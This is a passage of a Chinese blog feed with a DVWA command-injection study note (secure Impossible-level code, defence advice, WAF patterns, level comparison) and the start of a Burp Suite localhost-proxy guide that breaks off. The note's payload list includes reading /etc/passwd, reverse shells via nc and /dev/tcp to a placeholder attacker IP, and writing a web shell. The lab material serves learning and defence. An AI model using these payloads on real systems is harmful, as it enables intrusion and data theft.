class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Submit&#x27;</span> ]  ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 检查Anti-CSRF token</span></span><br><span class="line">    <span class="comment">// checkToken() - DVWA自定义函数，验证CSRF token</span></span><br><span class="line">    <span class="comment">// 作用：防止跨站请求伪造攻击</span></span><br><span class="line">    <span class="title function_ invoke__">checkToken</span>( <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;user_token&#x27;</span> ], <span class="variable">$_SESSION</span>[ <span class="string">&#x27;session_token&#x27;</span> ], <span class="string">&#x27;index.php&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取用户输入</span></span><br><span class="line">    <span class="variable">$target</span> = <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;ip&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心防护：stripslashes()去除反斜杠 ★★★</span></span><br><span class="line">    <span class="comment">// stripslashes() - 删除字符串中的反斜杠\</span></span><br><span class="line">    <span class="comment">// 作用：清理可能的转义字符</span></span><br><span class="line">    <span class="variable">$target</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$target</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 关键防护：白名单验证 - 将IP分割成数组 ★★★</span></span><br><span class="line">    <span class="comment">// explode() - 使用分隔符将字符串分割成数组</span></span><br><span class="line">    <span class="comment">// 参数1：分隔符（这里是&#x27;.&#x27;）</span></span><br><span class="line">    <span class="comment">// 参数2：要分割的字符串</span></span><br><span class="line">    <span class="comment">// 返回值：数组</span></span><br><span class="line">    <span class="comment">// 示例：&#x27;192.168.1.1&#x27; =&gt; [&#x27;192&#x27;, &#x27;168&#x27;, &#x27;1&#x27;, &#x27;1&#x27;]</span></span><br><span class="line">    <span class="variable">$octet</span> = <span class="title function_ invoke__">explode</span>( <span class="string">&quot;.&quot;</span>, <span class="variable">$target</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 验证IP格式：必须是4段 ★★★</span></span><br><span class="line">    <span class="comment">// is_numeric() - 检查变量是否为数字或数字字符串</span></span><br><span class="line">    <span class="comment">// count() - 计算数组元素个数</span></span><br><span class="line">    <span class="comment">// ( ( count( $octet ) == 4 ) - 确保IP地址有4个部分</span></span><br><span class="line">    <span class="comment">// is_numeric() - 确保每个部分都是数字</span></span><br><span class="line">    <span class="comment">// $octet[0] &gt;= 0 &amp;&amp; $octet[0] &lt;= 255 - 确保第1段在0-255范围内</span></span><br><span class="line">    <span class="keyword">if</span>( ( <span class="title function_ invoke__">count</span>( <span class="variable">$octet</span> ) == <span class="number">4</span> ) &amp;&amp; ( <span class="title function_ invoke__">is_numeric</span>( <span class="variable">$octet</span>[<span class="number">0</span>] ) ) &amp;&amp; ( <span class="title function_ invoke__">is_numeric</span>( <span class="variable">$octet</span>[<span class="number">1</span>] ) ) &amp;&amp; ( <span class="title function_ invoke__">is_numeric</span>( <span class="variable">$octet</span>[<span class="number">2</span>] ) ) &amp;&amp; ( <span class="title function_ invoke__">is_numeric</span>( <span class="variable">$octet</span>[<span class="number">3</span>] ) ) &amp;&amp; ( <span class="variable">$octet</span>[<span class="number">0</span>] &gt;= <span class="number">0</span> ) &amp;&amp; ( <span class="variable">$octet</span>[<span class="number">0</span>] &lt;= <span class="number">255</span> ) &amp;&amp; ( <span class="variable">$octet</span>[<span class="number">1</span>] &gt;= <span class="number">0</span> ) &amp;&amp; ( <span class="variable">$octet</span>[<span class="number">1</span>] &lt;= <span class="number">255</span>) &amp;&amp; ( <span class="variable">$octet</span>[<span class="number">2</span>] &gt;= <span class="number">0</span> ) &amp;&amp; ( <span class="variable">$octet</span>[<span class="number">2</span>] &lt;= <span class="number">255</span>) &amp;&amp; ( <span class="variable">$octet</span>[<span class="number">3</span>] &gt;= <span class="number">0</span> ) &amp;&amp; ( <span class="variable">$octet</span>[<span class="number">3</span>] &lt;= <span class="number">255</span>) ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 重新组合已验证的IP ★★★</span></span><br><span class="line">        <span class="comment">// 使用已验证的数组重新构建IP字符串</span></span><br><span class="line">        <span class="comment">// 这样即使原始输入包含恶意内容，也会被丢弃</span></span><br><span class="line">        <span class="variable">$target</span> = <span class="variable">$octet</span>[<span class="number">0</span>] . <span class="string">&#x27;.&#x27;</span> . <span class="variable">$octet</span>[<span class="number">1</span>] . <span class="string">&#x27;.&#x27;</span> . <span class="variable">$octet</span>[<span class="number">2</span>] . <span class="string">&#x27;.&#x27;</span> . <span class="variable">$octet</span>[<span class="number">3</span>];</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 执行ping命令（现在是安全的）</span></span><br><span class="line">        <span class="keyword">if</span>( <span class="title function_ invoke__">stristr</span>( <span class="title function_ invoke__">php_uname</span>( <span class="string">&#x27;s&#x27;</span> ), <span class="string">&#x27;Windows NT&#x27;</span> ) ) &#123;</span><br><span class="line">            <span class="variable">$cmd</span> = <span class="title function_ invoke__">shell_exec</span>( <span class="string">&#x27;ping  &#x27;</span> . <span class="variable">$target</span> );</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="variable">$cmd</span> = <span class="title function_ invoke__">shell_exec</span>( <span class="string">&#x27;ping  -c 4 &#x27;</span> . <span class="variable">$target</span> );</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;<span class="subst">&#123;$cmd&#125;</span>&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// ★★★ IP格式不正确，输出错误信息 ★★★</span></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&#x27;&lt;pre&gt;ERROR: You have entered an invalid IP.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 生成新的Anti-CSRF token</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><ol><li><strong>CSRF Token验证</strong> - 防止跨站请求伪造</li><li><strong>stripslashes()</strong> - 清理反斜杠</li><li><strong>白名单验证</strong> - 只允许标准IP格式</li><li><strong>IP格式严格验证</strong>：<ul><li>必须4个部分</li><li>每部分必须是数字</li><li>每部分范围0-255</li></ul></li><li><strong>重新构建输入</strong> - 使用验证后的数据重新组合</li></ol><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>白名单机制：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">输入：127.0.0.1; <span class="built_in">whoami</span></span><br><span class="line"></span><br><span class="line">验证过程：</span><br><span class="line">1. 分割：[<span class="string">&#x27;127&#x27;</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;0&#x27;</span>, <span class="string">&#x27;1; whoami&#x27;</span>]</span><br><span class="line">2. 检查第4个元素：<span class="string">&#x27;1; whoami&#x27;</span></span><br><span class="line">3. is_numeric(<span class="string">&#x27;1; whoami&#x27;</span>) = <span class="literal">false</span> ❌</span><br><span class="line">4. 验证失败，拒绝执行</span><br><span class="line">5. 输出：ERROR: You have entered an invalid IP.</span><br></pre></td></tr></table></figure><p><strong>任何注入尝试都会失败：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1|<span class="built_in">whoami</span>    -&gt; count != 4 ❌</span><br><span class="line">127.0.0.1;<span class="built_in">whoami</span>    -&gt; count != 4 ❌</span><br><span class="line">127.0.0.1&amp;<span class="built_in">whoami</span>    -&gt; count != 4 ❌</span><br><span class="line">127.0.0.1%0Awhoami  -&gt; count != 4 ❌</span><br><span class="line">127.$(<span class="built_in">whoami</span>).0.1   -&gt; is_numeric($(<span class="built_in">whoami</span>)) = <span class="literal">false</span> ❌</span><br></pre></td></tr></table></figure><p><strong>即使通过验证，也会被重新构建：</strong></p><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">输入：<span class="number">127.0</span>.<span class="number">0.1</span>（正常IP）</span><br><span class="line">验证：通过</span><br><span class="line">重新构建：<span class="variable">$octet</span><span class="selector-attr">[0]</span>.<span class="string">&#x27;.&#x27;</span>.<span class="variable">$octet</span><span class="selector-attr">[1]</span>.<span class="string">&#x27;.&#x27;</span>.<span class="variable">$octet</span><span class="selector-attr">[2]</span>.<span class="string">&#x27;.&#x27;</span>.<span class="variable">$octet</span><span class="selector-attr">[3]</span></span><br><span class="line">结果：<span class="number">127.0</span>.<span class="number">0.1</span>（原始恶意部分被丢弃）</span><br></pre></td></tr></table></figure><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><ol><li><p><strong>避免使用系统命令函数</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 危险函数（尽量避免）</span></span><br><span class="line"><span class="title function_ invoke__">shell_exec</span>()</span><br><span class="line"><span class="title function_ invoke__">exec</span>()</span><br><span class="line"><span class="title function_ invoke__">system</span>()</span><br><span class="line"><span class="title function_ invoke__">passthru</span>()</span><br><span class="line"><span class="title function_ invoke__">popen</span>()</span><br><span class="line"><span class="title function_ invoke__">proc_open</span>()</span><br><span class="line">``（反引号）</span><br></pre></td></tr></table></figure></li><li><p><strong>使用内置函数替代</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 不要用shell命令</span></span><br><span class="line"><span class="title function_ invoke__">shell_exec</span>(<span class="string">&#x27;ping &#x27;</span> . <span class="variable">$ip</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用PHP内置函数</span></span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">filter_var</span>(<span class="variable">$ip</span>, FILTER_VALIDATE_IP)) &#123;</span><br><span class="line">    <span class="comment">// 执行操作</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p><strong>输入验证 - 白名单</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 严格的IP验证</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">filter_var</span>(<span class="variable">$input</span>, FILTER_VALIDATE_IP)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;Invalid IP&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正则表达式验证</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^[0-9]&#123;1,3&#125;\.[0-9]&#123;1,3&#125;\.[0-9]&#123;1,3&#125;\.[0-9]&#123;1,3&#125;$/&#x27;</span>, <span class="variable">$input</span>)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;Invalid format&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p><strong>使用参数化执行</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 不要拼接字符串</span></span><br><span class="line"><span class="variable">$cmd</span> = <span class="string">&quot;ping &quot;</span> . <span class="variable">$user_input</span>;  <span class="comment">// 危险！</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用escapeshellarg()</span></span><br><span class="line"><span class="variable">$safe_arg</span> = <span class="title function_ invoke__">escapeshellarg</span>(<span class="variable">$user_input</span>);</span><br><span class="line"><span class="variable">$cmd</span> = <span class="string">&quot;ping &quot;</span> . <span class="variable">$safe_arg</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或使用escapeshellcmd()</span></span><br><span class="line"><span class="variable">$safe_cmd</span> = <span class="title function_ invoke__">escapeshellcmd</span>(<span class="variable">$user_input</span>);</span><br></pre></td></tr></table></figure></li></ol><h3 id="函数说明"><a href="#函数说明" class="headerlink" title="函数说明"></a>函数说明</h3><p><strong>escapeshellarg()</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 给参数加单引号并转义内部的单引号</span></span><br><span class="line"><span class="variable">$input</span> = <span class="string">&quot;127.0.0.1; whoami&quot;</span>;</span><br><span class="line"><span class="variable">$safe</span> = <span class="title function_ invoke__">escapeshellarg</span>(<span class="variable">$input</span>);</span><br><span class="line"><span class="comment">// 结果：&#x27;127.0.0.1; whoami&#x27;（作为一个参数）</span></span><br><span class="line"><span class="title function_ invoke__">exec</span>(<span class="string">&quot;ping -c 1 &quot;</span> . <span class="variable">$safe</span>);</span><br><span class="line"><span class="comment">// 执行：ping -c 1 &#x27;127.0.0.1; whoami&#x27;（会失败，但安全）</span></span><br></pre></td></tr></table></figure><p><strong>escapeshellcmd()</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 转义命令中的特殊字符</span></span><br><span class="line"><span class="variable">$input</span> = <span class="string">&quot;127.0.0.1; whoami&quot;</span>;</span><br><span class="line"><span class="variable">$safe</span> = <span class="title function_ invoke__">escapeshellcmd</span>(<span class="variable">$input</span>);</span><br><span class="line"><span class="comment">// 结果：127.0.0.1\; whoami（;被转义）</span></span><br></pre></td></tr></table></figure><h3 id="架构层面"><a href="#架构层面" class="headerlink" title="架构层面"></a>架构层面</h3><ol><li><p><strong>最小权限原则</strong></p><ul><li>Web服务器使用低权限用户（www-data）</li><li>禁止sudo权限</li><li>chroot监狱</li></ul></li><li><p><strong>禁用危险函数</strong></p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">; php.ini</span></span><br><span class="line"><span class="attr">disable_functions</span> = exec,passthru,shell_exec,system,proc_open,popen</span><br></pre></td></tr></table></figure></li><li><p><strong>使用容器隔离</strong></p><ul><li>Docker容器</li><li>限制容器权限</li><li>只读文件系统</li></ul></li></ol><h3 id="检测和监控"><a href="#检测和监控" class="headerlink" title="检测和监控"></a>检测和监控</h3><ol><li><p><strong>WAF规则</strong></p><figure class="highlight mel"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">检测模式：</span><br><span class="line">[;&amp;|]</span><br><span class="line">$(...)</span><br><span class="line"><span class="string">`...`</span></span><br><span class="line">%0A（换行符）</span><br></pre></td></tr></table></figure></li><li><p><strong>日志监控</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 记录所有命令执行</span></span><br><span class="line"><span class="title function_ invoke__">error_log</span>(<span class="string">&quot;Command executed: &quot;</span> . <span class="variable">$cmd</span>);</span><br></pre></td></tr></table></figure></li></ol><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>输入验证</td><td>❌</td><td>黑名单（2个）</td><td>黑名单（9个）</td><td>✅ 白名单</td></tr><tr><td>过滤字符</td><td>无</td><td>&amp;&amp;, ;</td><td>&amp;, ;, | , -, $, (, ), &#96;, ||</td><td>N&#x2F;A</td></tr><tr><td>验证方式</td><td>无</td><td>简单替换</td><td>扩展替换</td><td>IP格式验证</td></tr><tr><td>CSRF防护</td><td>❌</td><td>❌</td><td>❌</td><td>✅</td></tr><tr><td>可绕过性</td><td>完全开放</td><td>容易</td><td>中等</td><td>几乎不可能</td></tr><tr><td>攻击示例</td><td><code>; ls</code></td><td><code>| ls</code></td><td><code>|ls</code>（无空格）</td><td>无法注入</td></tr></tbody></table><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>学习路径：</strong></p><ol><li><strong>Low难度</strong> - 理解基本的命令注入</li><li><strong>Medium难度</strong> - 学习绕过简单黑名单</li><li><strong>High难度</strong> - 掌握高级绕过技巧</li><li><strong>Impossible难度</strong> - 理解正确的防御方法</li></ol><p><strong>常用Payload集合：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 基础测试</span></span><br><span class="line">; <span class="built_in">whoami</span></span><br><span class="line">&amp; <span class="built_in">whoami</span></span><br><span class="line">| <span class="built_in">whoami</span></span><br><span class="line">|| <span class="built_in">whoami</span></span><br><span class="line">&amp;&amp; <span class="built_in">whoami</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 读取文件</span></span><br><span class="line">; <span class="built_in">cat</span> /etc/passwd</span><br><span class="line">| <span class="built_in">cat</span> /etc/passwd</span><br><span class="line"></span><br><span class="line"><span class="comment"># 列目录</span></span><br><span class="line">; <span class="built_in">ls</span> -la</span><br><span class="line">; <span class="built_in">dir</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 反弹shell</span></span><br><span class="line">; nc -e /bin/bash 攻击者IP 端口</span><br><span class="line">; bash -i &gt;&amp; /dev/tcp/IP/端口 0&gt;&amp;1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 写文件</span></span><br><span class="line">; <span class="built_in">echo</span> <span class="string">&quot;恶意代码&quot;</span> &gt; shell.php</span><br></pre></td></tr></table></figure><p><strong>工具推荐：</strong></p><ul><li>Burp Suite - 拦截修改请求</li><li>Commix - 自动化命令注入工具</li><li>SQLMap的os-shell模式</li></ul><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不攻击真实系统</li><li>理解防御才能更好地防护</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B&quot;&gt;漏洞简介&lt;/a&gt;&lt;/li&gt;
&lt;l</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>解决 Burp Suite 无法拦截 localhost 请求的问题</title>
    <link href="http://caixuya.github.io/2025/11/19/%E8%A7%A3%E5%86%B3Burp_Suite%E6%97%A0%E6%B3%95%E6%8B%A6%E6%88%AAlocalhost%E8%AF%B7%E6%B1%82%E9%97%AE%E9%A2%98/"/>
    <id>http://caixuya.github.io/2025/11/19/%E8%A7%A3%E5%86%B3Burp_Suite%E6%97%A0%E6%B3%95%E6%8B%A6%E6%88%AAlocalhost%E8%AF%B7%E6%B1%82%E9%97%AE%E9%A2%98/</id>
    <published>2025-11-19T13:05:02.000Z</published>
    <updated>2025-11-19T14:41:59.255Z</updated>
    
    <content type="html"><![CDATA[<h2 id="问题描述"><a href="#问题描述" class="headerlink" title="问题描述"></a>问题描述</h2><p>在使用 Burp Suite 进行 DVWA 渗透测试时，遇到以下问题：</p><ul><li>浏览器访问 <code>http://localhost/dvwa</code> 时，Burp Suite 无法拦截请求</li><li>HTTP History 中看不到任何 localhost 的请求记录</li><li>Target → Site map 中可能显示 localhost，但没有具体路径</li><li>访问其他外部网站（如 <code>http://example.com</code>）可以正常拦截</li></ul><h2 id="根本原因"><a href="#根本原因" class="headerlink" title="根本原因"></a>根本原因</h2><p><strong>Chrome&#x2F;Edge 等浏览器有内置的安全机制</strong>：即使配置了代理插件（如 SwitchyOmega），默认情况下也会<strong>自动绕过对 <code>localhost</code> 和 <code>127.0.0.1</code> 的代理</strong>。</p><p>这是浏览器的默认行为，用于优化本地开发环境的性能，但会导致无法通过 Burp Suite 拦截本地请求。</p><hr><h2 id="完整解决方案"><a href="#完整解决方案" class="headerlink" title="完整解决方案"></a>完整解决方案</h2><p>需要<strong>同时应用以下三个方案</strong>才能彻底解决问题：</p><h3 id="方案-A：修改-Chrome-启动参数（禁用-localhost-代理绕过）"><a href="#方案-A：修改-Chrome-启动参数（禁用-localhost-代理绕过）" class="headerlink" title="方案 A：修改 Chrome 启动参数（禁用 localhost 代理绕过）"></a>方案 A：修改 Chrome 启动参数（禁用 localhost 代理绕过）</h3><h3 id="方案-B：配置-Hosts-文件使用自定义域名"><a href="#方案-B：配置-Hosts-文件使用自定义域名" class="headerlink" title="方案 B：配置 Hosts 文件使用自定义域名"></a>方案 B：配置 Hosts 文件使用自定义域名</h3><h3 id="方案-C：正确配置-Burp-Suite-拦截规则"><a href="#方案-C：正确配置-Burp-Suite-拦截规则" class="headerlink" title="方案 C：正确配置 Burp Suite 拦截规则"></a>方案 C：正确配置 Burp Suite 拦截规则</h3><hr><h2 id="方案-A：修改-Chrome-启动参数"><a href="#方案-A：修改-Chrome-启动参数" class="headerlink" title="方案 A：修改 Chrome 启动参数"></a>方案 A：修改 Chrome 启动参数</h2><h3 id="步骤-1：关闭所有-Chrome-进程"><a href="#步骤-1：关闭所有-Chrome-进程" class="headerlink" title="步骤 1：关闭所有 Chrome 进程"></a>步骤 1：关闭所有 Chrome 进程</h3><ol><li>完全关闭 Chrome 浏览器（点击右上角的 X）</li><li>打开任务管理器（<code>Ctrl + Shift + Esc</code>）</li><li>查找所有 <code>chrome.exe</code> 进程</li><li>右键点击每个进程，选择 <strong>“结束任务”</strong></li><li>确保没有任何 Chrome 后台进程在运行</li></ol><h3 id="步骤-2：创建-Chrome-快捷方式"><a href="#步骤-2：创建-Chrome-快捷方式" class="headerlink" title="步骤 2：创建 Chrome 快捷方式"></a>步骤 2：创建 Chrome 快捷方式</h3><ol><li><p>找到 Chrome 的安装位置，通常是：</p><figure class="highlight livescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:<span class="string">\Program</span> Files<span class="string">\Google\Chrome\Application\chrome.exe</span></span><br></pre></td></tr></table></figure><p>或</p><figure class="highlight livescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:<span class="string">\Program</span> Files (x86)<span class="string">\Google\Chrome\Application\chrome.exe</span></span><br></pre></td></tr></table></figure></li><li><p>右键点击 <code>chrome.exe</code>，选择 <strong>“创建快捷方式”</strong></p></li><li><p>将快捷方式移动到桌面或其他方便访问的位置</p></li></ol><h3 id="步骤-3：修改快捷方式属性"><a href="#步骤-3：修改快捷方式属性" class="headerlink" title="步骤 3：修改快捷方式属性"></a>步骤 3：修改快捷方式属性</h3><ol><li><p>右键点击刚创建的快捷方式</p></li><li><p>选择 <strong>“属性”</strong></p></li><li><p>在 <strong>“目标”</strong> 字段中，找到现有的路径，例如：</p><figure class="highlight 1c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;C:\Program Files\Google\Chrome\Application\chrome.exe&quot;</span></span><br></pre></td></tr></table></figure></li><li><p>在路径<strong>后面</strong>添加以下参数（注意有空格）：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">--proxy-bypass-list</span>=<span class="string">&quot;&lt;-loopback&gt;&quot;</span></span><br></pre></td></tr></table></figure></li><li><p>完整的目标应该类似：</p><figure class="highlight abnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;C:\Program Files\Google\Chrome\Application\chrome.exe&quot;</span> --proxy-bypass-list<span class="operator">=</span><span class="string">&quot;&lt;-loopback&gt;&quot;</span></span><br></pre></td></tr></table></figure></li><li><p>点击 **”应用”**，然后点击 <strong>“确定”</strong></p></li></ol><h3 id="步骤-4：通过新快捷方式启动-Chrome"><a href="#步骤-4：通过新快捷方式启动-Chrome" class="headerlink" title="步骤 4：通过新快捷方式启动 Chrome"></a>步骤 4：通过新快捷方式启动 Chrome</h3><ol><li><strong>重要</strong>：不要通过任务栏或其他方式启动 Chrome</li><li>只能通过刚才修改的快捷方式启动</li><li>启动后，Chrome 将不再绕过 localhost 的代理</li></ol><h3 id="验证方法"><a href="#验证方法" class="headerlink" title="验证方法"></a>验证方法</h3><p>启动 Chrome 后，在地址栏输入：</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">chrome:<span class="regexp">//</span>version</span><br></pre></td></tr></table></figure><p>在 <strong>“命令行”</strong> 部分，应该能看到 <code>--proxy-bypass-list=&quot;&lt;-loopback&gt;&quot;</code> 参数。</p><hr><h2 id="方案-B：配置-Hosts-文件使用自定义域名-1"><a href="#方案-B：配置-Hosts-文件使用自定义域名-1" class="headerlink" title="方案 B：配置 Hosts 文件使用自定义域名"></a>方案 B：配置 Hosts 文件使用自定义域名</h2><h3 id="为什么需要这个方案"><a href="#为什么需要这个方案" class="headerlink" title="为什么需要这个方案"></a>为什么需要这个方案</h3><p>即使禁用了浏览器的代理绕过，某些情况下 <code>localhost</code> 仍然可能有问题。使用自定义域名可以彻底避免这个问题。</p><h3 id="步骤-1：编辑-Hosts-文件"><a href="#步骤-1：编辑-Hosts-文件" class="headerlink" title="步骤 1：编辑 Hosts 文件"></a>步骤 1：编辑 Hosts 文件</h3><ol><li><p>以<strong>管理员身份</strong>打开记事本：</p><ul><li>点击开始菜单</li><li>搜索 “记事本”</li><li>右键点击 “记事本”</li><li>选择 <strong>“以管理员身份运行”</strong></li></ul></li><li><p>在记事本中，点击 <strong>“文件” → “打开”</strong></p></li><li><p>导航到以下路径：</p><figure class="highlight moonscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="name">C</span>:\Windows\System32\drivers\etc</span><br></pre></td></tr></table></figure></li><li><p>在文件类型下拉菜单中，选择 <strong>“所有文件 (<em>.</em>)”</strong></p></li><li><p>找到并打开 <strong>hosts</strong> 文件（没有扩展名）</p></li></ol><h3 id="步骤-2：添加自定义域名映射"><a href="#步骤-2：添加自定义域名映射" class="headerlink" title="步骤 2：添加自定义域名映射"></a>步骤 2：添加自定义域名映射</h3><p>在 hosts 文件的<strong>最后一行</strong>添加：</p><figure class="highlight accesslog"><table><tr><td class="gutter"><pre><span 